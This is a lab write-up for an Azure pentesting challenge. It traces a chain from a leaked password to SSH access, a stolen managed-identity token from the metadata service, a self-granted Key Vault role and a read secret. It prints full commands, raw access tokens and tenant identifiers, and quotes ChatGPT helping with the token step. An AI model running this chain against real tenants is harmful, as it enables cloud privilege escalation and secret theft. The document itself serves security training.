Azure: Eyes Wide Shut

Azure challenge for cloud pentesters: Can you find the attack path and abuse it? - by zieglers

The following post by 0xb0b is licensed under CC BY 4.0


In Azure: Eyes Wide Shut we are faced with the following scenario:

Lab Scenario

  • During the reconnaissance, you came across a password: WhereIsMyMind$#@!

  • You don't know much about which permissions you have on the Azure Portal.

  • You don't know much about which resources you can access on the Azure Portal.

  • All you have is a compromised password!

  • How far can you go with it?

  • Which attack path(s) can you discover and how will you exploit it?

Summary

In Azure: Eyes Wide Shut we start with a single compromised password to gain access to an Azure VM. From that foothold we leverage the instance metadata service and the VM’s managed identity to obtain an Azure access token, discover an RBAC-protected Key Vault, and abuse overly-permissive identity/role assignments to read a sensitive secret. The chain demonstrates a cloud attack path from credentialed VM access to secret exfiltration via misconfigured Managed Identity and Azure RBAC.

We open the dashboard of Microsoft Azure and head to Resource or All resources.

At Resource or...

at All resource in Microsoft Azure we'll find a Linux VM.

If we click on that resource we can find the admin username at the Connect page. Furthermore we see a public facing ip address of the machine. In this case 20.185.250.2.

We can also find the username at the Reset password page.

So, we now have a username azureuser and a password from the reconnaissance from the scenario.

azureuser:WhereIsMyMind$#@!

We try to connect via SSH to the VM found with the gathered username and password and are successful.

Now the fun part begins. In the lab we learned about different attack scenarios. All of them focus on attacking Managed Identies. The following resources teach about how those abusing Managed Identities:

For us now the following is the most interesting section Exploiting Azure Managed Identity:

First we need to authenticate agains Azure. In the of section Exploiting Azure Managed Identity we are intruduced to the following curl command to authenticate to Azure. They are using the IDENTITY_HEADER in the environment varibale, But we are missing the IDENTITY_HEADER.

curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

ChatGPT comes in handy and giving us the solution to get an azure acces token from the VM using Curl:

curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

how to get the IDENTITY_ENDPOINT and IDENTITY_HEADER

ChatGPT:

Thanks for sharing the environment output. Based on it, your Azure VM does not currently expose the IDENTITY_ENDPOINT or IDENTITY_HEADER environment variables — which is expected behavior for Azure VMs using Managed Identity.

Get an Azure access token from a VM using curl

curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  -H "Metadata: true"
  • 169.254.169.254 → IMDS IP address (always the same)

  • resource=https://management.azure.com/ → means you’re requesting a token to call the Azure Resource Manager API

  • Metadata: true → required header to authenticate the request

We authenticate as follows and receive an access_token.

curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  -H "Metadata: true"
"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSIsImtpZCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkxNzE2YTlhLWY4ZmYtNDkwZi04ZjNhLWYyZTZkYTZlMTE2NS8iLCJpYXQiOjE3NTM4NjYzNDIsIm5iZiI6MTc1Mzg2NjM0MiwiZXhwIjoxNzUzOTUzMDQyLCJhaW8iOiJBV1FBbS84WkFBQUErYkY0aFZWTzRLMVVLelFrb2NpVDBMcDNNNGhLdWtqNWNuSHp6d0swQVdRVnIyNWQvbEhtc1kxN0szMDk1cm90WnJjU0MvaTU4b0NFWW9uUHJaME1qTjNBTHNQNjBMc1RPVXE4eUJycXlueFZRSzdqYUFwenJXNGdiVUZiNURsUyIsImFwcGlkIjoiNTMwOTRiOTAtMzA5MS00Mzg0LWE1MmMtMDcwYmU0MTI4ZDk2IiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTE3MTZhOWEtZjhmZi00OTBmLThmM2EtZjJlNmRhNmUxMTY1LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiYzQ5ZTkwMGMtNzZjZi00MDA5LWIxOGQtMGE3NTQ4OGY5N2M0IiwicmgiOiIxLkFjb0FtbXB4a2ZfNEQwbVBPdkxtMm00UlpVWklmM2tBdXRkUHVrUGF3ZmoyTUJQNkFBREtBQS4iLCJzdWIiOiJjNDllOTAwYy03NmNmLTQwMDktYjE4ZC0wYTc1NDg4Zjk3YzQiLCJ0aWQiOiI5MTcxNmE5YS1mOGZmLTQ5MGYtOGYzYS1mMmU2ZGE2ZTExNjUiLCJ1dGkiOiJBYjZuZnQ5aEtrNjlId05oVXI1UEFBIiwidmVyIjoiMS4wIiwieG1zX2Z0ZCI6IngxSE1KTHo4RTVaM21fZnpkSWVsNXExUUZlaGplODdrSUJ3VXdCcW5lTFVCZFhObFlYTjBMV1J6YlhNIiwieG1zX2lkcmVsIjoiMjYgNyIsInhtc19taXJpZCI6Ii9zdWJzY3JpcHRpb25zLzE3NDYyOTRhLTVhYTgtNGNiYi04MmE0LTExZTczMWIyMDk0Mi9yZXNvdXJjZWdyb3Vwcy9yZy0wNzMwNDIxOC9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL0xpbnV4Vk0iLCJ4bXNfcmQiOiIwLjQyTGpZQkppT3NVb0pNTEJLU1R3OUVqalBMV1hmMzBhZjA5MW5EV1RZVGxRbEVOSXdNMmp2cEpoMTNYX1hjNjNEdjc0WmlBTUFBIiwieG1zX3RjZHQiOiIxNzExOTkzMTU5In0.D-HzEvQNSnh8QN3CNG91Fb7Y7fUXsTdEWK0MpTpm11U2VmSip2zjRjI8llScYEIKMOSQawlMjU6Cc36XeAh1-Mbd9JqgPQ93zPaHbz7v45NPkYIvjy5OFPFESmZKDjQoeaiHQzwHqFe6qwQONsfutC-95EgT-u_r_6igYzJVriI8NGQZ6H7jyxGBOrd-h-if01qPZbpBw1swRPgAPx_GhuQvDxQjCWRQGHrwkDqF1NmjirN-mpLyNz7iPw0GiX4rTfrzQVXcw0SCigplbmZFwxiWSNgPEkkwYsOh7XXTX1qHSWYgAVgUCLSyvxHTKJGilwq9fMyBIzIM-9ulTBFdaw"

Furthermore we receive a client_id.

"client_id": "53094b90-3091-4384-a52c-070be4128d96"

Next, we continue and follow the article again. We run powershell.

powershell

And use the Azure Powershell module to connect to Azure with the access token:

PS> Install-Module -Name Az -Repository PSGallery -Force
PS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>

We connect to Azure with the following command. In some cases the Subscription Name is empty. In those cases we face a faulty setup and need to restart the lab environment.

Connect-AzAccount -AccessToken eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSIsImtpZCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkxNzE2YTlhLWY4ZmYtNDkwZi04ZjNhLWYyZTZkYTZlMTE2NS8iLCJpYXQiOjE3NTM4NjYzNDIsIm5iZiI6MTc1Mzg2NjM0MiwiZXhwIjoxNzUzOTUzMDQyLCJhaW8iOiJBV1FBbS84WkFBQUErYkY0aFZWTzRLMVVLelFrb2NpVDBMcDNNNGhLdWtqNWNuSHp6d0swQVdRVnIyNWQvbEhtc1kxN0szMDk1cm90WnJjU0MvaTU4b0NFWW9uUHJaME1qTjNBTHNQNjBMc1RPVXE4eUJycXlueFZRSzdqYUFwenJXNGdiVUZiNURsUyIsImFwcGlkIjoiNTMwOTRiOTAtMzA5MS00Mzg0LWE1MmMtMDcwYmU0MTI4ZDk2IiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTE3MTZhOWEtZjhmZi00OTBmLThmM2EtZjJlNmRhNmUxMTY1LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiYzQ5ZTkwMGMtNzZjZi00MDA5LWIxOGQtMGE3NTQ4OGY5N2M0IiwicmgiOiIxLkFjb0FtbXB4a2ZfNEQwbVBPdkxtMm00UlpVWklmM2tBdXRkUHVrUGF3ZmoyTUJQNkFBREtBQS4iLCJzdWIiOiJjNDllOTAwYy03NmNmLTQwMDktYjE4ZC0wYTc1NDg4Zjk3YzQiLCJ0aWQiOiI5MTcxNmE5YS1mOGZmLTQ5MGYtOGYzYS1mMmU2ZGE2ZTExNjUiLCJ1dGkiOiJBYjZuZnQ5aEtrNjlId05oVXI1UEFBIiwidmVyIjoiMS4wIiwieG1zX2Z0ZCI6IngxSE1KTHo4RTVaM21fZnpkSWVsNXExUUZlaGplODdrSUJ3VXdCcW5lTFVCZFhObFlYTjBMV1J6YlhNIiwieG1zX2lkcmVsIjoiMjYgNyIsInhtc19taXJpZCI6Ii9zdWJzY3JpcHRpb25zLzE3NDYyOTRhLTVhYTgtNGNiYi04MmE0LTExZTczMWIyMDk0Mi9yZXNvdXJjZWdyb3Vwcy9yZy0wNzMwNDIxOC9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL0xpbnV4Vk0iLCJ4bXNfcmQiOiIwLjQyTGpZQkppT3NVb0pNTEJLU1R3OUVqalBMV1hmMzBhZjA5MW5EV1RZVGxRbEVOSXdNMmp2cEpoMTNYX1hjNjNEdjc0WmlBTUFBIiwieG1zX3RjZHQiOiIxNzExOTkzMTU5In0.D-HzEvQNSnh8QN3CNG91Fb7Y7fUXsTdEWK0MpTpm11U2VmSip2zjRjI8llScYEIKMOSQawlMjU6Cc36XeAh1-Mbd9JqgPQ93zPaHbz7v45NPkYIvjy5OFPFESmZKDjQoeaiHQzwHqFe6qwQONsfutC-95EgT-u_r_6igYzJVriI8NGQZ6H7jyxGBOrd-h-if01qPZbpBw1swRPgAPx_GhuQvDxQjCWRQGHrwkDqF1NmjirN-mpLyNz7iPw0GiX4rTfrzQVXcw0SCigplbmZFwxiWSNgPEkkwYsOh7XXTX1qHSWYgAVgUCLSyvxHTKJGilwq9fMyBIzIM-9ulTBFdaw -AccountId 53094b90-3091-4384-a52c-070be4128d96

ChatGPT:

Why is Subscription Name Empty?

You see:

pgsqlCopyEditSubscription name Tenant
----------------- ------
                  91716a9a-f8ff-490f-8f3a-f2e6da6e1165

This means you're authenticated, but the Managed Identity might not have Reader or Contributor access to any subscription, or it's limited in scope.

We connect to Azure with the following command:

Connect-AzAccount -AccessToken eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSIsImtpZCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkxNzE2YTlhLWY4ZmYtNDkwZi04ZjNhLWYyZTZkYTZlMTE2NS8iLCJpYXQiOjE3NTM4NzA2ODIsIm5iZiI6MTc1Mzg3MDY4MiwiZXhwIjoxNzUzOTU3MzgyLCJhaW8iOiJBV1FBbS84WkFBQUFHZHVqQUpmQnNxUk11S0N3dnoraHBCSEl6c3Zza21DdEJBMU42dzIrbjFPVG1yQzUzNzdDRDMzbmhHOW1FTWR5dWExNVFDRVowVEl0MnEvdWJoRm94ZGxqRTNSRXgwM1RpZGF4bUxudW15aFE1RTJENUw5M003R0ZCQ0l6N2VVcCIsImFwcGlkIjoiZmNmZTM1ZWMtYTA0Yi00ZjQ4LTk4YTEtNWE5MGQ4ZjdkMTRmIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTE3MTZhOWEtZjhmZi00OTBmLThmM2EtZjJlNmRhNmUxMTY1LyIsImlkdHlwIjoiYXBwIiwib2lkIjoiY2U5MmQyZWUtNmE1OC00NjEyLWJjODgtYjk1MWI2ZjA3OGFhIiwicmgiOiIxLkFjb0FtbXB4a2ZfNEQwbVBPdkxtMm00UlpVWklmM2tBdXRkUHVrUGF3ZmoyTUJQNkFBREtBQS4iLCJzdWIiOiJjZTkyZDJlZS02YTU4LTQ2MTItYmM4OC1iOTUxYjZmMDc4YWEiLCJ0aWQiOiI5MTcxNmE5YS1mOGZmLTQ5MGYtOGYzYS1mMmU2ZGE2ZTExNjUiLCJ1dGkiOiJqM3Z2Z2xlX00wLVFUYldwYTRCOUFBIiwidmVyIjoiMS4wIiwieG1zX2Z0ZCI6IkVDM2V4eXlTYzZRTjVQeFh5ZFVOWnFFaEU4LWVtUzEyRjdNRWpYRzROMmtCZFhObFlYTjBMV1J6YlhNIiwieG1zX2lkcmVsIjoiNyAyMCIsInhtc19taXJpZCI6Ii9zdWJzY3JpcHRpb25zLzE3NDYyOTRhLTVhYTgtNGNiYi04MmE0LTExZTczMWIyMDk0Mi9yZXNvdXJjZWdyb3Vwcy9yZy0wNzMwNDY5OC9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL0xpbnV4Vk0iLCJ4bXNfcmQiOiIwLjQyTGpZQkppT3NVb0pNTEJLU1R3OUVqalBMV1hmMzBhZjA5MW5EV1RZVGxRbEVOSXdNMmp2cEpoMTNYX1hjNjNEdjc0WmlBTUFBIiwieG1zX3RjZHQiOiIxNzExOTkzMTU5In0.L4z8XgAgd0asqRpe--wwuI2nipzWUNyIKIjNLa-lwHw6N9alDazDCoj4qNniMWdLDLA0k95rnirgvuw1adMYtcocVbdDG7d_3xZsef2Hd3xA_rqKXte6wb92C5iGLEw3VYCqS8qN0d_SxGZ14iYnerbS7A2brRPvguxC3XrSVpXsAtgocrgJtcIve8S4xv6iRbRvtG2UWJYV9daKu2j3gDwoUU-IIglqcsV4WEA-rxf6uFck0x85cTtBA0L5m2O0HjYsFrPsPD9oqS9QVBaASNd9sDQEPxaQkXvwTImYOZRSJM8za9GBEwzquHtoSg_3PkrQdKCMa5FjYemKTCTTKw -AccountId fcfe35ec-a04b-4f48-98a1-5a90d8f7d14f

With Get-AzResource we retrieve information about Azure resources in our subscription, such as their names, types, locations, and properties.

Get-AzResource

One of them stands out, the KeyVault akv-07304698. This could contain sensitve, valuable information.

With the following command we try to fetch the details of the Azure Key Vault named akv-07304698 from the resource group rg-07304898. Bot information gathered from the command before.

Get-AzKeyVault -Name akv-07304698 -ResourceGroupName rg-07304898

With the following we could retrieve the value and metadata of the specified secret stored in the Key Vault named akv-07304698. But we are missing the secret.

Get-AzKeyVaultSecret -VaultName akv-07304698 -Name <secret-name>

Unfortunately we cannot list the secrets.

Get-AzKeyVaultSecret -VaulName akv-07304698

Get-AzRoleAssignment lists Azure role assignments, showing which users, groups, or service principals have what roles and at what scope like subscription, resource group, or resource. We find two RoleAssignments.

Get-AzRoleAssignment

We head back to the VM, and try to authroize via VM.

For this we need to install AzureCLI on the VM:

curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

We login as follows.

az login --identity

Now we try to fetch the details of the Azure Key Vault named akv-07304698 on the VM.

The command to fetch the details like Get-AzKeyVault -Name akv-07304698 -ResourceGroupName rg-07304898 is in AzureCLI a bit different, but behaves the same.

This time are able to retrieve more information. But in both cases we see "enableRbacAuthorization": true

The resource group of the key vaul rg-07304698 might be different in other lab environments

az keyvault show --name akv-07304698 --resource-group rg-07304698

Your Key Vault (akv-07304698) is configured to use Azure RBAC-based access control, not access policies:

"enableRbacAuthorization": true

That means your Linux VM's managed identity must be granted Key Vault Reader + Secret Reader roles via Azure RBAC.

W try to get the VMs managed identitiy.

We retrieve the managed identity's principal ID (a GUID) for the virtual machine named LinuxVM in the resource group rg-07304698, outputting just the raw value in plain text (TSV format).

az vm identity show --name LinuxVM --resource-group rg-07304698 --query principalId --output tsv

Now we assign the Key Vault Secrets User role to the principal with ID ce92d2ee-6a58-4612-bc88-b951b6f078aa, scoped specifically to the Key Vault akv-07304698 in resource group rg-07304698 under the given subscription.

az role assignment create \
  --assignee "ce92d2ee-6a58-4612-bc88-b951b6f078aa" \
  --role "Key Vault Secrets User" \
  --scope "/subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/resourceGroups/rg-07304698/providers/Microsoft.KeyVault/vaults/akv-07304698"

Next, we try to lists all the secrets stored in the Key Vault named akv-07304698, including their names and metadata. We find the secret called flag.

az keyvault secret list --vault-name akv-07304698

To retrieve the secret from the vaul we issue the following command.

az keyvault secret show --vault-name akv-07304698 --name flag

We abused a Over-Permissioned Managed Identity, which in short means the Azure resource’s managed identity, in this case the VM, was given more privileges than it should have, and we abused those excessive permission.

Last updated

Was this helpful?